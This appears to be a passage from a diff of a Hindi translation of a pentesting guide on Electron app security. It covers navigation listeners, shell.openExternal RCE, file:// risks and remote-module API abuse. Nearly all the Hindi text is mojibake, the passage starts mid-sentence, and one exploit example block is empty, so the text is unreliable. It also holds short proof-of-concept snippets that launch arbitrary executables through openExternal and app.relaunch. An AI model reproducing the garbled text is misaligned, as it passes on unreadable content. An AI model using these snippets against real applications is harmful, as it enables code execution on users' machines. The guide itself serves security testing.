рдХрд░рдиреЗ рдпрд╛ рдирдП рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рдиреЗ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ event listeners рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВ: +рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдпрд╛ рдирдпрд╛ рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рддрд╛ рд╣реИ, рддреЛ рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ event listeners рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрддреЗ рд╣реИрдВ: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -рдпреЗ listeners рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдЕрдкрдиреА **business logic** рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдУрд╡рд░рд░рд╛рдЗрдб** рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣ рдЖрдХрд▓рди рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд▓рд┐рдВрдХ рдЕрдВрджрд░ рд╣реА рдЦреБрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдХрд┐рд╕реА рдмрд╛рд╣рд░реА рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВред рдпрд╣ рдирд┐рд░реНрдгрдп рд╕рд╛рдорд╛рдиреНрдпрддрдГ `openInternally` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдЧрд░ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди `false` рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд▓рд┐рдВрдХ рдХреЛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, `shell.openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред +рдпреЗ listeners рдХреЛ рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ **рдУрд╡рд░рд░рд╛рдЗрдб** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕рдХрд╛ рдЕрдкрдирд╛ **рдмрд┐рдЬрдиреЗрд╕ рд▓реЙрдЬрд┐рдХ** рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХреА рдЧрдИ рд▓рд┐рдВрдХ рдХреЛ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдХрд┐рд╕реА external рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВред рдпрд╣ рдирд┐рд░реНрдгрдп рдЖрдорддреМрд░ рдкрд░ `openInternally` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди `false` рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд▓рд┐рдВрдХ рдХреЛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрд╛рдиреА `shell.openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред -**Here is a simplified pseudocode:** +**рдпрд╣рд╛рдБ рдПрдХ рд╕рд░рд▓реАрдХреГрдд pseudocode рд╣реИ:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS security best practices рд╕рд▓рд╛рд╣ рджреЗрддреА рд╣реИрдВ рдХрд┐ `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЕрдирд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХрдВрдЯреЗрдВрдЯ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рди рдХрд┐рдпрд╛ рдЬрд╛рдП, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓реНрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкреНрд░реЛрдЯреЛрдХреЙрд▓реНрд╕ рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ RCE рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдФрд░ рдЖрдЧреЗ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП, [рдпрд╣ рд╕рдВрд╕рд╛рдзрди](https://positive.security/blog/url-open-rce#windows-10-19042) рджреЗрдЦреЗрдВ, рдЬреЛ Windows рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ vulnerability рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред +Electron JS рд╕реБрд░рдХреНрд╖рд╛ рд╕рд░реНрд╡реЛрддреНрддрдо рдкреНрд░рдерд╛рдПрдБ `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЕрдирд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХрдВрдЯреЗрдВрдЯ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЪреЗрддрд╛рд╡рдиреА рджреЗрддреА рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд┐рднрд┐рдиреНрди protocols рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╡рд┐рднрд┐рдиреНрди protocols рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ RCE рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдФрд░ рдЖрдЧреЗ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП, [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) рджреЗрдЦреЗрдВ, рдЬрд┐рд╕рдореЗрдВ Windows protocol examples рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬреЛ рдЗрд╕ vulnerability рдХреЛ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`. +macos рдореЗрдВ, `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ exploit рдХрд░рдХреЗ arbitrary commands execute рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ `shell.openExternal('file:///System/Applications/Calculator.app')`ред -**Windows рдкреНрд░реЛрдЯреЛрдХреЙрд▓ exploits рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:** +**Windows protocol exploits рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:** ```html ``` -## `file://` Protocol +## `file://` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ -As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╣рд░ рдлрд╝рд╛рдЗрд▓ рддрдХ рдПрдХрддрд░рдлрд╛ рдкрд╣реБрдБрдЪ рд░рдЦрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ **XSS issues can be used to load arbitrary files** from the users machine. рдПрдХ **рдХрд╕реНрдЯрдо рдкреНрд░реЛрдЯреЛрдХреЙрд▓** рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдРрд╕реЗ рдореБрджреНрджреЛрдВ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓ рд╕реЗрдЯ рдкрд░ рд╕рд░реНрд╡рд┐рдВрдЧ рддрдХ рд╕реАрдорд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЬреИрд╕рд╛ рдХрд┐ [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, **`file://`** рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреЗрдЬреЛрдВ рдХреЛ рдЖрдкрдХреА рдорд╢реАрди рдХреА рд╣рд░ рдлрд╝рд╛рдЗрд▓ рддрдХ рдПрдХрддрд░рдлрд╛ рдкрд╣реБрдБрдЪ рдорд┐рд▓рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **XSS issues can be used to load arbitrary files**ред рдПрдХ **custom protocol** рдХрд╛ рдЙрдкрдпреЛрдЧ рдРрд╕реА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓ рд╕реЗрдЯ рд╕рд░реНрд╡ рдХрд░рдиреЗ рддрдХ рд╕реАрдорд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ## Remote module -The Electron Remote module **renderer processes рдХреЛ main process APIs рддрдХ рдкрд╣реБрдБрдЪ рджреЗрдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рднреАрддрд░ рд╕рдВрдЪрд╛рд░ рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдЧрдВрднреАрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ attack surface рдХреЛ рдмрдврд╝рд╛ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ cross-site scripting (XSS) рдЬреИрд╕реЗ vulnerabilities рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +Electron Remote module рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ **renderer processes to access main process APIs**, рдЬрд┐рд╕рд╕реЗ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рднреАрддрд░ рд╕рдВрдЪрд╛рд░ рд╕реБрдЧрдо рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдЙрддреНрдкрдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ attack surface рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ cross-site scripting (XSS) рдЬреИрд╕реЗ vulnerabilities рдХреЗ рдкреНрд░рддрд┐ рдЕрдзрд┐рдХ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред > [!TIP] -> Although the **remote** module main рд╕реЗ renderer processes рддрдХ рдХреБрдЫ APIs рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддрд╛ рд╣реИ, рд╕рд┐рд░реНрдлрд╝ рдЗрди components рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕реАрдзреЗ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░рдирд╛ рд╕реАрдзрд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реЛрддрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпреЗ components рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +> рд╣рд╛рд▓рд╛рдБрдХрд┐ **remote** module main рд╕реЗ renderer processes рдХреЛ рдХреБрдЫ APIs expose рдХрд░рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдЗрди components рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реАрдзреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпреЗ components рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред > [!WARNING] -> Many apps that still use the remote module рдЗрд╕реЗ рдРрд╕реЗ рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ renderer process рдореЗрдВ **NodeIntegration рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдПрдХ **рдмрдбрд╝рд╛ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо** рд╣реИред +> рдХрдИ рдРрдкреНрд╕ рдЬреЛ рдЕрднреА рднреА remote module рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд╡реЗ рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ **require NodeIntegration to be enabled** in the renderer process, рдЬреЛ рдХрд┐ рдПрдХ **huge security risk** рд╣реИред Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**. @@ -319,39 +335,39 @@ mainWindow = new BrowserWindow({ }) remoteMain.enable(mainWindow.webContents) ``` -рдлрд┐рд░, renderer process module рд╕реЗ objects import рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдлрд┐рд░, renderer process рдЗрд╕ рддрд░рд╣ module рд╕реЗ objects import рдХрд░ рд╕рдХрддрд╛ рд╣реИ: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` -рдпрд╣ **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ remote module рдХреЗ object **`app`** рджреНрд╡рд╛рд░рд╛ рдХреБрдЫ рд░реЛрдЪрдХ **functions** рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд┐рдП рдЧрдП рд╣реИрдВ: +рдпрд╣ **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote module рдХреЗ object **`app`** рджреНрд╡рд╛рд░рд╛ expose рдХрд┐рдП рдЧрдП рдХреБрдЫ рд░реЛрдЪрдХ **functions** рджрд░реНрд╢рд╛рддрд╛ рд╣реИ: - **`app.relaunch([options])`** -- **Restart** рдХрд░рддрд╛ рд╣реИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╡рд░реНрддрдорд╛рди instance рдХреЛ рдмрдВрдж рдХрд░рдХреЗ рдФрд░ рдПрдХ рдирдпрд╛ instance рд▓реЙрдиреНрдЪ рдХрд░рдХреЗред рдпрд╣ **app updates** рдпрд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг **state changes** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред +- **рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░рддрд╛ рд╣реИ** рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ, рд╡рд░реНрддрдорд╛рди рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЛ **рдмрдВрдж** рдХрд░рдХреЗ рдФрд░ рдПрдХ рдирдпрд╛ **рдкреНрд░рд╛рд░рдВрдн** рдХрд░рдХреЗред рдпрд╣ **рдРрдк рдЕрдкрдбреЗрдЯреНрд╕** рдпрд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг **рд╕реНрдерд┐рддрд┐ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред - **`app.setAppLogsPath([path])`** -- рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдпрд╛ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ **app logs** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпреЗ рдЬрд╛рддреЗ рд╣реИрдВред рд▓реЙрдЧреНрд╕ рдХреЛ **рдкреНрд░рд╛рдкреНрдд** рдпрд╛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **`app.getPath()`** рдпрд╛ **`app.setPath(pathName, newPath)`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред +- **рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдпрд╛ рдмрдирд╛рддрд╛ рд╣реИ** рдРрдк рд▓реЙрдЧреНрд╕ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рд▓реЙрдЧреНрд╕ рдХреЛ **рдкреНрд░рд╛рдкреНрдд** рдпрд╛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **`app.getPath()`** рдпрд╛ **`app.setPath(pathName, newPath)`** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** -- рд╡рд░реНрддрдорд╛рди executable рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **protocol** рдХреЗ рд▓рд┐рдП **default handler** рдХреЗ рд░реВрдк рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддрд╛ рд╣реИред рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдиреЗ рдкрд░ рдЖрдк рдПрдХ **custom path** рдФрд░ **arguments** рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддрд╛ рд╣реИ** рд╡рд░реНрддрдорд╛рди executable рдХреЛ рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **protocol** рдХреЗ рд▓рд┐рдП **default handler** рдХреЗ рд░реВрдк рдореЗрдВред рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░ рдЖрдк рдПрдХ **custom path** рдФрд░ **arguments** рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - **`app.setUserTasks(tasks)`** -- **Tasks category** рдореЗрдВ **Jump List** (Windows рдкрд░) рдХреЗ рд▓рд┐рдП tasks рдЬреЛрдбрд╝рддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ task рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ app рдХреИрд╕реЗ **launch** рд╣реЛ рдпрд╛ рдХреМрди рд╕реЗ **arguments** рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рдПрдБред +- **рдЯрд╛рд╕реНрдХ рдЬреЛрдбрд╝рддрд╛ рд╣реИ** Jump List рдХреА **Tasks category** рдореЗрдВ (on Windows)ред рдкреНрд░рддреНрдпреЗрдХ рдЯрд╛рд╕реНрдХ рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдРрдк рдХреИрд╕реЗ **рд▓реЙрдиреНрдЪ** рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдХреМрди рд╕реЗ **arguments** рдкрд╛рд╕ рд╣реЛрддреЗ рд╣реИрдВред - **`app.importCertificate(options, callback)`** -- рд╕рд┐рд╕реНрдЯрдо рдХреЗ **certificate store** рдореЗрдВ рдПрдХ **PKCS#12 certificate** рдЗрдореНрдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ (рд╕рд┐рд░реНрдл Linux)ред рдкрд░рд┐рдгрд╛рдо рдХреЛ рд╣реИрдВрдбрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **callback** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- **рдЗрдореНрдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ** рдПрдХ **PKCS#12 certificate** рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдХреЗ **certificate store** рдореЗрдВ (Linux only)ред рдкрд░рд┐рдгрд╛рдо рдХреЛ рд╣реИрдВрдбрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **callback** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - **`app.moveToApplicationsFolder([options])`** -- рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ **Applications folder** рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ (macOS рдкрд░)ред Mac рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ **standard installation** рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред +- **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ** Applications folder рдкрд░ (on macOS)ред рдпрд╣ Mac рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП **standard installation** рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред - **`app.setJumpList(categories)`** -- Windows рдкрд░ рдПрдХ **custom Jump List** рд╕реЗрдЯ рдпрд╛ рд╣рдЯрд╛рддрд╛ рд╣реИред рдЖрдк рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **categories** рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ tasks рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреИрд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрдВред +- **рд╕реЗрдЯ** рдпрд╛ **рд╣рдЯрд╛рддрд╛ рд╣реИ** рдПрдХ **custom Jump List** on **Windows**ред рдЖрдк **categories** рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╣реЛ рдХрд┐ рдЯрд╛рд╕реНрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреИрд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрдВред - **`app.setLoginItemSettings(settings)`** -- рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ **executables** login рдкрд░ рд▓реЙрдиреНрдЪ рд╣реЛрдВрдЧреЗ рдФрд░ рдЙрдирдХреЗ рд╕рд╛рде рдХреМрди рд╕реЗ **options** рд╣реЛрдВрдЧреЗ (рдХреЗрд╡рд▓ macOS рдФрд░ Windows)ред +- **рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ** рдХрд┐ рдХреМрди рд╕реЗ **executables** login рдкрд░ рд▓реЙрдиреНрдЪ рд╣реЛрдВ рдФрд░ рдЙрдирдХреЗ **options** рдХреНрдпрд╛ рд╣реЛрдВ (macOS and Windows only). Example: ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` -## systemPreferences рдореЙрдбреНрдпреВрд▓ +## systemPreferences module -Electron рдореЗрдВ **рдореБрдЦреНрдп API** рд╣реИ рдЬреЛ system preferences рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдФрд░ 